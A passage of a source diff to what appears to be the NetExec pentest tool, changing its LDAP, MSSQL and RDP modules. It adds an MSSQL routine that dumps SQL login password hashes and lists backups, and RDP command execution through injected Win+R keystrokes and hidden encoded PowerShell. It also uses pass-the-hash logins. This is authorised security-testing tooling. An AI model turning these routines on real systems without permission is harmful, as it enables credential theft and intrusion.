self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -586,7 +617,7 @@ class ldap(connection):
|
||||
self.logger.extra["port"] = "636"
|
||||
self.port = 636
|
||||
ldaps_url = f"ldaps://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}")
|
||||
self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} using NT hash")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
self.check_if_admin()
|
||||
@@ -629,7 +660,7 @@ class ldap(connection):
|
||||
resp = self.search(search_filter, attributes, baseDN=self.baseDN)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache) and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "" or self.aesKey != "" or self.use_kcache or self.args.schannel) and self.username != "":
|
||||
for item in resp_parsed:
|
||||
self.sid_domain = "-".join(item["objectSid"].split("-")[:-1])
|
||||
|
||||
@@ -938,8 +969,7 @@ class ldap(connection):
|
||||
resp_parse = parse_result_attributes(resp)
|
||||
for item in resp_parse:
|
||||
if "dNSHostName" in item: # Get dNSHostName attribute
|
||||
name = item["dNSHostName"]
|
||||
resolve_and_display_hostname(name)
|
||||
resolve_and_display_hostname(item["dNSHostName"])
|
||||
|
||||
# Find all trusted domains
|
||||
self.logger.info("Enumerating Trusted Domains...")
|
||||
@@ -1223,22 +1253,21 @@ class ldap(connection):
|
||||
self.logger.debug(f"Querying LDAP server with filter: {search_filter} and attributes: {attributes}")
|
||||
try:
|
||||
resp = self.search(search_filter, attributes, 0)
|
||||
resp_parsed = parse_result_attributes(resp)
|
||||
except LDAPFilterSyntaxError as e:
|
||||
self.logger.fail(f"LDAP Filter Syntax Error: {e}")
|
||||
return
|
||||
for idx, entry in enumerate(resp_parsed):
|
||||
if not isinstance(resp[idx], ldapasn1_impacket.SearchResultEntry):
|
||||
idx += 1 # Skip non-entry responses
|
||||
self.logger.success(f"Response for object: {resp[idx]['objectName']}")
|
||||
for attribute in entry:
|
||||
if isinstance(entry[attribute], list) and entry[attribute]:
|
||||
# A search response also holds SearchResultReference objects, which carry no attributes and must not be indexed like an entry.
|
||||
entries = [item for item in resp if isinstance(item, ldapasn1_impacket.SearchResultEntry)]
|
||||
for entry, attribute_map in zip(entries, parse_result_attributes(entries), strict=True):
|
||||
self.logger.success(f"Response for object: {entry['objectName']}")
|
||||
for attribute, value in attribute_map.items():
|
||||
if isinstance(value, list) and value:
|
||||
# Display first item in the same line as attribute
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute].pop(0)}")
|
||||
for item in entry[attribute]:
|
||||
self.logger.highlight(f"{attribute:<20} {value.pop(0)}")
|
||||
for item in value:
|
||||
self.logger.highlight(f"{'':<20} {item}")
|
||||
else:
|
||||
self.logger.highlight(f"{attribute:<20} {entry[attribute]}")
|
||||
self.logger.highlight(f"{attribute:<20} {value}")
|
||||
|
||||
def find_delegation(self):
|
||||
def printTable(items, header):
|
||||
|
||||
@@ -10,6 +10,7 @@ def proto_args(parser, parents):
|
||||
ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port")
|
||||
ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout")
|
||||
ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
ldap_parser.add_argument("--schannel", action="store_true", help="Authenticate with the certificate using Schannel instead of PKINIT")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
|
||||
@@ -5,6 +5,7 @@ from OpenSSL.SSL import SysCallError
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
@@ -18,6 +19,7 @@ class LDAPResolution:
|
||||
target = ""
|
||||
target_domain = ""
|
||||
base_dn = ""
|
||||
machine_name = ""
|
||||
try:
|
||||
ldap_url = f"ldap://{self.host}"
|
||||
nxc_logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
@@ -60,5 +62,7 @@ class LDAPResolution:
|
||||
else:
|
||||
nxc_logger.error(f"Error getting ldap info {e}")
|
||||
|
||||
machine_name = sanitize_dns(machine_name, nxc_logger)
|
||||
target_domain = sanitize_dns(target_domain, nxc_logger)
|
||||
nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}")
|
||||
return machine_name, target_domain
|
||||
+82
-3
@@ -7,7 +7,7 @@ from termcolor import colored
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.connection import requires_admin
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.misc import gen_random_string, sanitize_dns
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message
|
||||
@@ -155,8 +155,11 @@ class mssql(connection):
|
||||
else:
|
||||
if challenge.startswith(b"NTLMSSP\x00"):
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
dns_hostname = ntlm_info["dns_hostname"] or ""
|
||||
hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host
|
||||
domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host)
|
||||
self.hostname = sanitize_dns(hostname, self.logger)
|
||||
self.targetDomain = self.domain = sanitize_dns(domain, self.logger)
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
else:
|
||||
@@ -317,6 +320,7 @@ class mssql(connection):
|
||||
self.logger.fail(self.conn.lastError)
|
||||
else:
|
||||
for data in raw_output:
|
||||
self.logger.highlight("--------------------")
|
||||
for key, value in data.items():
|
||||
if key:
|
||||
self.logger.highlight(f"{key}:{value}")
|
||||
@@ -671,3 +675,78 @@ class mssql(connection):
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
|
||||
@requires_admin
|
||||
def db_hash(self):
|
||||
self.logger.display("Dumping local database users' hashes")
|
||||
query = """
|
||||
SELECT
|
||||
sp.name,
|
||||
CASE
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2'
|
||||
WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1'
|
||||
ELSE 'Unknown'
|
||||
END AS hash_type,
|
||||
sl.password_hash
|
||||
FROM sys.server_principals sp
|
||||
INNER JOIN sys.sql_logins sl
|
||||
ON sp.principal_id = sl.principal_id
|
||||
WHERE sp.type = 'S' -- uniquement les logins SQL
|
||||
AND sp.name NOT LIKE '##%'
|
||||
ORDER BY sp.name;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No logins returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated logins")
|
||||
self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}")
|
||||
self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}")
|
||||
for row in rows:
|
||||
name = row.get("name")
|
||||
hash_type = row.get("hash_type")
|
||||
password_hash = row.get("password_hash")
|
||||
if password_hash != "NULL":
|
||||
self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}")
|
||||
|
||||
def list_backups(self):
|
||||
self.logger.info("Dumping database backups")
|
||||
query = """
|
||||
SELECT
|
||||
bs.database_name,
|
||||
bs.server_name,
|
||||
bmf.physical_device_name AS backup_file_path,
|
||||
CASE
|
||||
WHEN bs.encryptor_type IS NULL THEN 'Unencrypted'
|
||||
ELSE 'Encrypted'
|
||||
END AS backup_encryption_status,
|
||||
bs.encryptor_type,
|
||||
bs.key_algorithm
|
||||
FROM msdb.dbo.backupset AS bs
|
||||
INNER JOIN msdb.dbo.backupmediafamily AS bmf
|
||||
ON bs.media_set_id = bmf.media_set_id
|
||||
INNER JOIN sys.databases AS d
|
||||
ON bs.database_name = d.name
|
||||
ORDER BY bs.backup_finish_date DESC;
|
||||
"""
|
||||
rows = self.conn.sql_query(query)
|
||||
if self.conn.lastError:
|
||||
self.logger.fail(f"Error running the SQL query: {self.conn.lastError}")
|
||||
return
|
||||
if not rows:
|
||||
self.logger.fail("No backups returned")
|
||||
return
|
||||
else:
|
||||
self.logger.display("Enumerated backups")
|
||||
self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}")
|
||||
self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}")
|
||||
for row in rows:
|
||||
database_name = row.get("database_name").strip()
|
||||
is_encrypted = row.get("backup_encryption_status").strip()
|
||||
backup_file_path = row.get("backup_file_path").strip()
|
||||
self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}")
|
||||
@@ -19,6 +19,7 @@ def proto_args(parser, parents):
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes")
|
||||
|
||||
cgroup = mssql_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
@@ -39,4 +40,5 @@ def proto_args(parser, parents):
|
||||
|
||||
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path")
|
||||
return parser
|
||||
+364
-169
@@ -1,19 +1,25 @@
|
||||
import asyncio
|
||||
import base64
|
||||
import copy
|
||||
import contextlib
|
||||
from datetime import datetime
|
||||
from os import getenv
|
||||
from uuid import uuid4
|
||||
from anyio import Path
|
||||
from termcolor import colored
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.smb3 import WIN_VERSIONS
|
||||
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.config import host_info_colors, process_secret
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
from aardwolf.connection import RDPConnection
|
||||
from aardwolf.connection import RDPConnection, AUTHZ_ACCESS_DENIED
|
||||
from aardwolf.commons.queuedata.constants import VIDEO_FORMAT
|
||||
from aardwolf.commons.queuedata.keyboard import RDP_KEYBOARD_UNICODE
|
||||
from aardwolf.commons.iosettings import RDPIOSettings
|
||||
@@ -114,19 +120,28 @@ class rdp(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def _create_rdp_connection(self, credentials, supported_protocols=None):
|
||||
iosettings = self.iosettings.clone_for_connection()
|
||||
# Explicit protocols are used by discovery and screenshot fallbacks.
|
||||
# Authenticated connections leave this unset so aardwolf selects the
|
||||
# X224 flags appropriate for the credential type.
|
||||
iosettings.supported_protocols = supported_protocols
|
||||
return RDPConnection(
|
||||
iosettings=iosettings,
|
||||
target=copy.deepcopy(self.target),
|
||||
credentials=copy.deepcopy(credentials),
|
||||
)
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout, unsafe_ssl=True) # old servers only offer ciphers OpenSSL rejects at its default security level
|
||||
self.auth = NTLMCredential(secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS)
|
||||
|
||||
asyncio.run(self.check_nla())
|
||||
|
||||
for proto in reversed(self.protoflags):
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=self.auth,
|
||||
self.conn = self._create_rdp_connection(
|
||||
self.auth, supported_protocols=proto
|
||||
)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
@@ -141,9 +156,9 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
else:
|
||||
self.domain = info_domain["dnsdomainname"]
|
||||
self.hostname = info_domain["computername"]
|
||||
self.server_os = info_domain["os_guess"] + " Build " + str(info_domain["os_build"])
|
||||
self.hostname = sanitize_dns(info_domain.get("computername") or self.host, self.logger)
|
||||
self.domain = sanitize_dns(info_domain.get("dnsdomainname") or self.host, self.logger)
|
||||
self.server_os = self.guess_os(info_domain)
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
break
|
||||
|
||||
@@ -166,18 +181,27 @@ class rdp(connection):
|
||||
domain=self.domain,
|
||||
dc_ip=self.domain,
|
||||
timeout=self.args.rdp_timeout,
|
||||
unsafe_ssl=True,
|
||||
)
|
||||
|
||||
# Reset so aardwolf negotiates on its own (restricted admin + HYBRID_EX), the loop above pinned it
|
||||
self.iosettings.supported_protocols = None
|
||||
|
||||
return True
|
||||
|
||||
def guess_os(self, info_domain):
|
||||
build = info_domain.get("os_build")
|
||||
if build in WIN_VERSIONS:
|
||||
return f"{WIN_VERSIONS[build]} Build {build}"
|
||||
if info_domain.get("os_major_version") == "WINDOWS_MAJOR_VERSION_10": # asyauth labels every 10.0 kernel "Windows 10 or Windows Server 2016", only trust it for older kernels
|
||||
return f"Windows 10.0 Build {build}"
|
||||
return f"{info_domain.get('os_guess') or 'Unknown'} Build {build or 'Unknown'}"
|
||||
|
||||
async def check_nla(self):
|
||||
self.logger.debug(f"Checking NLA for {self.host}")
|
||||
try:
|
||||
self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL
|
||||
self.conn = RDPConnection(
|
||||
iosettings=self.iosettings,
|
||||
target=self.target,
|
||||
credentials=None,
|
||||
self.conn = self._create_rdp_connection(
|
||||
None, supported_protocols=SUPP_PROTOCOLS.SSL
|
||||
)
|
||||
packetizer = TPKTPacketizer()
|
||||
client = UniClient(self.target, packetizer)
|
||||
@@ -191,17 +215,17 @@ class rdp(connection):
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
async def connect_rdp(self):
|
||||
async def connect_rdp(self, auth_only=False):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
Use this when the caller needs the connection alive after connecting
|
||||
(screen, nla_screen, execute_shell). For sync callers that only need to
|
||||
know whether authentication succeeded and want guaranteed cleanup, use
|
||||
connect_rdp_with_cleanup() instead.
|
||||
When auth_only is True, performs only CredSSP/NLA authentication
|
||||
without establishing a full RDP session. This verifies credentials
|
||||
without creating a disconnected session on single-session hosts.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
_, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
self.logger.debug(f"RDP negotiated protocol: {self.conn.x224_protocol}, authz_result: {self.conn.authz_result}")
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
@@ -209,13 +233,37 @@ class rdp(connection):
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
async def connect_rdp_with_cleanup(self, auth_only=False):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
await self.connect_rdp(auth_only=auth_only)
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
async def login_and_confirm(self):
|
||||
"""Connect and return whether a real session opened (Save Session Info PDU), always cleaning up.
|
||||
|
||||
That PDU never comes when access is authorized but the logon is refused (restricted admin).
|
||||
"""
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
try:
|
||||
await asyncio.wait_for(self.conn.logon_info_received.wait(), timeout=self.args.rdp_timeout)
|
||||
return True
|
||||
except TimeoutError:
|
||||
self.logger.debug("No Save Session Info PDU: RDP access is granted but the interactive logon was refused (restricted admin)")
|
||||
return False
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def rdp_access_denied(self):
|
||||
"""Whether the Early User Authorization Result PDU says the account has no RDP access right at all.
|
||||
|
||||
Distinct from a valid right whose logon is later refused (restricted admin), which yields no such PDU.
|
||||
"""
|
||||
self.logger.debug(f"authz_result from Early User Authorization Result PDU: {self.conn.authz_result}")
|
||||
return self.conn.authz_result == AUTHZ_ACCESS_DENIED
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
try:
|
||||
lmhash = ""
|
||||
@@ -232,8 +280,6 @@ class rdp(connection):
|
||||
if nthash:
|
||||
self.nthash = nthash
|
||||
|
||||
kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else ""
|
||||
|
||||
self.hostname + "." + self.domain
|
||||
password = password if password else nthash
|
||||
|
||||
@@ -247,8 +293,14 @@ class rdp(connection):
|
||||
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
|
||||
ticketCreds = ccache.credentials[0]
|
||||
username = ticketCreds["client"].prettyPrint().decode().split("@")[0]
|
||||
elif aesKey:
|
||||
stype = asyauthSecret.AES
|
||||
password = aesKey
|
||||
else:
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
password = password if password else nthash
|
||||
|
||||
kerb_pass = password
|
||||
|
||||
kerberos_target = UniTarget(
|
||||
self.kdcHost,
|
||||
@@ -268,10 +320,22 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=stype,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
"{}\\{}{} {}".format(
|
||||
domain,
|
||||
@@ -299,8 +363,11 @@ class rdp(connection):
|
||||
(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
|
||||
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
|
||||
)
|
||||
elif "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
|
||||
elif self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
elif "No such file" in str(e):
|
||||
self.logger.fail(e)
|
||||
else:
|
||||
@@ -316,6 +383,10 @@ class rdp(connection):
|
||||
)
|
||||
return False
|
||||
|
||||
def _execution_pending(self):
|
||||
"""Check if command execution will follow authentication."""
|
||||
return bool(self.args.execute or self.args.ps_execute)
|
||||
|
||||
def plaintext_login(self, domain, username, password):
|
||||
try:
|
||||
self.auth = NTLMCredential(
|
||||
@@ -324,10 +395,22 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -335,8 +418,11 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -358,10 +444,22 @@ class rdp(connection):
|
||||
domain=domain,
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
if self._execution_pending():
|
||||
# auth_only verifies creds without opening a full session, which on single-session
|
||||
# Win11 hosts would be left disconnected and break the clipboard execute_shell uses
|
||||
# (commit ac6f5814). It needs CredSSP/NLA; if the server doesn't negotiate it aardwolf
|
||||
# raises, so fall back to a full confirm on a FRESH connection (the failed one is
|
||||
# already torn down and cannot be reconnected), which also sets admin_privs.
|
||||
try:
|
||||
asyncio.run(self.connect_rdp_with_cleanup(auth_only=True))
|
||||
except RuntimeError as e:
|
||||
self.logger.debug(f"auth_only unavailable ({e!s}); retrying with a full logon")
|
||||
self.conn = self._create_rdp_connection(self.auth)
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
else:
|
||||
self.admin_privs = asyncio.run(self.login_and_confirm())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
@@ -369,8 +467,11 @@ class rdp(connection):
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
return True
|
||||
except Exception as e:
|
||||
if "Authentication failed!" in str(e):
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if self.rdp_access_denied():
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
return True
|
||||
else:
|
||||
reason = None
|
||||
for word in self.rdp_error_status:
|
||||
@@ -388,10 +489,11 @@ class rdp(connection):
|
||||
async def _send_keystrokes(self, text, delay=0.02):
|
||||
"""Helper method to send keystrokes to the RDP session"""
|
||||
for char in text:
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = True
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
for is_pressed in (True, False):
|
||||
key_event = RDP_KEYBOARD_UNICODE()
|
||||
key_event.char = char
|
||||
key_event.is_pressed = is_pressed
|
||||
await self.conn.ext_in_queue.put(key_event)
|
||||
await asyncio.sleep(delay)
|
||||
|
||||
async def _send_enter(self):
|
||||
@@ -400,144 +502,241 @@ class rdp(connection):
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
|
||||
|
||||
async def _send_shortcut(self, modifier, key):
|
||||
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
|
||||
modifier_scancode = layout.vk_to_scancode(modifier)
|
||||
key_scancode = layout.char_to_scancode(key)[0]
|
||||
|
||||
await self.conn.send_key_scancode(modifier_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, True, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(key_scancode, False, False)
|
||||
await asyncio.sleep(0.05)
|
||||
await self.conn.send_key_scancode(modifier_scancode, False, False)
|
||||
|
||||
async def _send_win_r(self):
|
||||
"""Helper method to send Windows+R key combination to open Run dialog"""
|
||||
self.logger.debug("Sending Win+R using scancode method")
|
||||
for _ in range(2):
|
||||
_, err = await self.conn.send_focus_in()
|
||||
if err is not None:
|
||||
raise err
|
||||
await self._send_shortcut("VK_LWIN", "r")
|
||||
await asyncio.sleep(0.5)
|
||||
|
||||
@staticmethod
|
||||
def _build_execution_command(payload, shell_type, marker, get_output):
|
||||
if not get_output:
|
||||
if shell_type == "cmd":
|
||||
return f"cmd.exe /d /s /c {payload}"
|
||||
if shell_type == "powershell":
|
||||
return (
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive "
|
||||
f"-WindowStyle Hidden -Command {payload}"
|
||||
)
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
|
||||
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
|
||||
|
||||
if shell_type == "cmd":
|
||||
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
|
||||
elif shell_type == "powershell":
|
||||
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
|
||||
else:
|
||||
raise ValueError(f"Unsupported shell type: {shell_type}")
|
||||
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
script = f"""
|
||||
$ErrorActionPreference = 'Continue'
|
||||
{decode_payload}
|
||||
try {{
|
||||
{invoke_command}
|
||||
$succeeded = $?
|
||||
$nativeExitCode = $LASTEXITCODE
|
||||
}} catch {{
|
||||
$output = $_
|
||||
$succeeded = $false
|
||||
$nativeExitCode = $null
|
||||
}}
|
||||
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
|
||||
$outputText = ($output | Out-String -Width 4096).TrimEnd()
|
||||
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
[System.Windows.Forms.Clipboard]::SetText($result)
|
||||
"""
|
||||
|
||||
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
|
||||
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
|
||||
|
||||
@staticmethod
|
||||
def _parse_execution_result(clipboard_text, marker):
|
||||
start_marker = f"__NXC_RDP_START_{marker}__"
|
||||
end_marker = f"__NXC_RDP_END_{marker}__"
|
||||
